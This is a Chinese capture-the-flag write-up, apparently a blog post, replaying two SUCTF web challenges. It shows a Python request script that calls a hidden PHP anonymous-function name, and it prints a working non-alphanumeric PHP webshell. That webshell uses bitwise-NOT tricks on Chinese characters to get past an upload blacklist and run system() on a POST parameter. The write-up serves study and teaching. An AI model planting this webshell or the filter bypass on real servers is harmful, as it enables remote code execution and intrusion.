SUCTF复盘

当时没好好打,现在把环境复现一下对着wp撸一发。

WEB

annonymous

这题原思路是HITCON2017的一个题目,而且我也看过土师傅的wp,很不幸的是我做的时候还是忘了。。


如图,要想拿到flag,要么执行SUCTF_$hash函数,要么直接执行$MY函数。而 openssl_random_pseudo_bytes(32)碰撞出来基本靠命,所以只能靠create_function匿名函数来。

匿名函数会被设置为\x00lambda_%d,这里的%d是顺序递增的。就算不知道也可以将$MY输出出来看一下


这里我一开始以为就是lambda_%d然后试了半天出不来,后来才发现还有一个不可见字符,在页面上看不到,而在抓包下可以明显看出

注意到了之后写个循环脚本就可以了

#!/usr/bin/env python
# coding=utf-8
import requests
url = "http://108.61.173.33:20000//?func_name="
while True:
    r = requests.get(url+"%00lambda_1");
    print r.text;
    break

getshell

打开上传页面有段上传代码

if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
    $data=substr($contents,5);
    foreach ($black_char as $b) {
        if (stripos($data, $b) !== false){
            die("illegal char");
        }
    }     
} 

上传成功后也可以直接访问


所以问题就是如何得到黑名单。
我用bp抓一下包来爆破一下


可见字符中就这么几个是不会被拦截的。
接下来就是如何用这几个字符$ ( ) [ ] _ ~来写shell
根据P牛的博客中的方法二
这里我直接搬运了别人的payload

echo ~茉[$____];//s
echo ~内[$____];//y
echo ~茉[$____];//s
echo ~苏[$____];//t
echo ~的[$____];//e
echo ~咩[$____];//m
echo ~课[$____];//P
echo ~尬[$____];//O
echo ~笔[$____];//S
echo ~端[$____];//T
echo ~瞎[$____];//a
<?php
$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);

上传之后就可以拿到shell


(未完待续)

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • SUCTF 这周末打了suctf,协会的大佬们都去参加tctf了,都没人打pwn了,不过最终成绩还可以不过恭喜协会...
    ckj123阅读 4,273评论 0 5
  • 自从认识长投,我得承认我是改变了,之前的人生浑浑噩噩,没有梦想,一直想不明白人生活着有什么意义?整日无所事事,过着...
    时月之秋阅读 455评论 1 21
  • 兴冲冲地赶来公司加班, 结果连电脑都登陆不了, 又绝望又想骂人。
    十八呆阅读 236评论 0 0
  • 凌晨四点,我决定五一回家,之前所有的假期计划全都搁置一边,我想没有什么事情能比见她更重要。因为我梦见她了,连续好几...
    烟烟如昔阅读 793评论 0 9
  • 已经过了立秋,早晚凉意袭来,让人嗅到不远处秋天的脚步声越来越近。现在晚上,窗外蟋蟀不停歇地弹奏着自己的音乐。小院里...
    萧萧归去阅读 202评论 0 0

友情链接更多精彩内容